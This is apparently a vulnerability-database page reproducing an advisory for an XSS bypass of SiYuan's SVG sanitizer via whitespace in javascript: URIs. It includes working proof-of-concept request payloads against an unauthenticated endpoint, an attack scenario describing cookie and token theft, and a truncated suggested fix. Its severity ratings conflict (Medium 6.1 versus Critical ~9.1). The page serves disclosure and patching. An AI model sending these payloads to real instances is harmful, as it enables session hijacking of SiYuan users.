🛡️ CVE-2026-31809 — siyuan

🟡 CVSS 6.1 — Medium ✅ No Known Exploit CWE-79 NVD
6.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

SiYuan has a SVG Sanitizer Bypass via Whitespace in javascript: URI — Unauthenticated XSS

# SVG Sanitizer Bypass via Whitespace in javascript: URI — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab ( ), newline ( ), or carriage return ( ) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS.

This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the <animate> element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27).

Affected Component

  • File: kernel/util/misc.go
  • Function: SanitizeSVG() (lines 234-319)
  • Specific check: Line 271 — strings.HasPrefix(val, "javascript:")
  • Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The sanitizer uses Go's html.Parse which decodes HTML entities in attribute values. When the input contains java script:alert(1), the parser decodes to a literal tab character (U+0009). The sanitizer then checks:

```go

val := strings.TrimSpace(strings.ToLower(a.Val))

// val is now "java\tscript:alert(1)"

if strings.HasPrefix(val, "javascript:") {

continue // This check FAILS — tab breaks the prefix match

}

```

strings.TrimSpace only removes leading/trailing whitespace, not internal whitespace. The HasPrefix check fails because "java\tscript:..." does not start with "javascript:".

However, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses java\tscript:alert(1) as javascript:alert(1).

Proof of Concept

Vector 1: Tab character ( )

```

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

```

Vector 2: Newline character ( )

```

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

```

Vector 3: Carriage return ( )

```

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

```

Vector 4: Multiple whitespace characters

```

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j a v a s c r i p t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

```

Processing trace

1. Input: <a href="java script:alert(document.domain)">

2. html.Parse: Decodes entity → attribute value = java\tscript:alert(document.domain)

3. Sanitizer: TrimSpace(ToLower(val)) = java\tscript:alert(document.domain) (tab preserved in middle)

4. HasPrefix check: "java\tscript:..." does NOT start with "javascript:"passes through

5. html.Render: Outputs literal tab character in href (tabs are not HTML-special)

6. Browser URL parser: Strips tab per WHATWG URL spec → javascript:alert(document.domain)

7. User clicks link → JavaScript executes

Attack Scenario

Same as CVE-2026-29183 / advisory #01:

1. Attacker crafts a malicious getDynamicIcon URL

2. Victim navigates to the URL (or is redirected)

3. SVG renders with Content-Type: image/svg+xml

4. Victim clicks the text link in the SVG

5. JavaScript executes in SiYuan's origin

6. Attacker steals session cookies, API tokens, or makes authenticated API calls

Impact

  • Severity: CRITICAL (CVSS ~9.1)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Unauthenticated reflected XSS via SVG injection
  • Executes in the SiYuan application origin
  • Bypasses the fix for CVE-2026-29183
  • Independent of the <animate> element bypass (advisory #01) — different root cause

Suggested Fix

Replace the simple HasPrefix check with whitespace-stripped comparison:

```go

// Strip ASCII tab, newline, CR before checking for javascript: prefix

cleaned := strings.Map(func(r rune) rune {

if r == '\t' || r == '\n' || r == '\r' {

return -1 // Remove character

}

return r

}, val)

if key == "href" || key == "xlink:href" || key == "xlinkhref" {

if strings.HasPrefix(cleaned, "javascript:") {

continue

}

if str

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

Weakness class

CVE-2026-31809 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-31809 is recorded against 2 packages.

  • github.com/siyuan-note/siyuan/kernel
  • siyuan (fixed in 3.5.10)

Timeline and source

Published on 10 March 2026 and last revised on 23 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Details

Severity Medium
CVSS Score 6.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE CWE-79
Public Exploit ✅ No
Source NVD
Published 2026-03-10
Updated 2026-08-12
Modified 2026-03-23
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/siyuan-note/siyuan/kernel
siyuan 3.5.10

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in siyuan

CVE-2026-31809 is rated CVSS 6.1 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.